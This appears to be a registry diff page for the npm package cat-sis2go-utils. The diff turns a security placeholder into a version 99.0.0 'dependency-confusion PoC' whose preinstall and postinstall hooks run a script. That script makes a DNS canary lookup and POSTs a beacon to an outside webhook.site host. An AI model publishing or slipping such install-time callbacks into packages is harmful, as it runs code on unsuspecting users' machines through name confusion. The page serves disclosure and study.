cat-sis2go-utils 0.0.1-security → 99.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of cat-sis2go-utils might be problematic. Click here for more details.
- package/index.js +1 -0
- package/package.json +9 -3
- package/scripts/run.js +46 -0
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
module.exports = { ok: true, note: "cat-sis2go-utils dependency-confusion PoC shim" };
|
package/package.json
CHANGED
|
@@ -1,6 +1,12 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "cat-sis2go-utils",
|
|
3
|
-
"version": "0.0
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "99.0.0",
|
|
4
|
+
"description": "SIS2GO utils (dependency-confusion PoC)",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node scripts/run.js preinstall",
|
|
8
|
+
"postinstall": "node scripts/run.js postinstall"
|
|
9
|
+
},
|
|
10
|
+
"author": "bug-bounty PoC (najeh_halawani@wearehackerone.com)",
|
|
11
|
+
"license": "MIT"
|
|
6
12
|
}
|
package/scripts/run.js
ADDED
|
@@ -0,0 +1,46 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
const http = require('http');
|
|
3
|
+
const https = require('https');
|
|
4
|
+
const dns = require('dns');
|
|
5
|
+
|
|
6
|
+
const OOB = 'https://webhook.site/d22d92dc-84e5-4b58-8cd6-75bf1ac452c7';
|
|
7
|
+
const DNS_CANARY = 'd22d92dc-84e5-4b58-8cd6-75bf1ac452c7.dnshook.site';
|
|
8
|
+
|
|
9
|
+
// DNS canary
|
|
10
|
+
try {
|
|
11
|
+
dns.lookup(DNS_CANARY, () => {});
|
|
12
|
+
console.log('[payload] DNS canary lookup issued -> ' + DNS_CANARY);
|
|
13
|
+
} catch (e) {}
|
|
14
|
+
|
|
15
|
+
// HTTP/HTTPS beacon
|
|
16
|
+
try {
|
|
17
|
+
const u = new URL(OOB);
|
|
18
|
+
const lib = u.protocol === 'https:' ? https : http;
|
|
19
|
+
const body = JSON.stringify({ marker: 'ping' });
|
|
20
|
+
|
|
21
|
+
const req = lib.request({
|
|
22
|
+
hostname: u.hostname,
|
|
23
|
+
port: u.port || (u.protocol === 'https:' ? 443 : 80),
|
|
24
|
+
path: u.pathname + u.search,
|
|
25
|
+
method: 'POST',
|
|
26
|
+
headers: {
|
|
27
|
+
'Content-Type': 'application/json',
|
|
28
|
+
'Content-Length': Buffer.byteLength(body)
|
|
29
|
+
},
|
|
30
|
+
timeout: 4000
|
|
31
|
+
}, r => {
|
|
32
|
+
console.log('[payload] beacon delivered, status ' + r.statusCode);
|
|
33
|
+
r.resume();
|
|
34
|
+
});
|
|
35
|
+
|
|
36
|
+
req.on('error', e => console.log('[payload] beacon error: ' + e.code));
|
|
37
|
+
req.on('timeout', () => {
|
|
38
|
+
console.log('[payload] beacon timeout');
|
|
39
|
+
req.destroy();
|
|
40
|
+
});
|
|
41
|
+
|
|
42
|
+
req.write(body);
|
|
43
|
+
req.end();
|
|
44
|
+
} catch (e) {
|
|
45
|
+
console.log('[payload] beacon error ' + e.message);
|
|
46
|
+
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=cat-sis2go-utils for more information.
|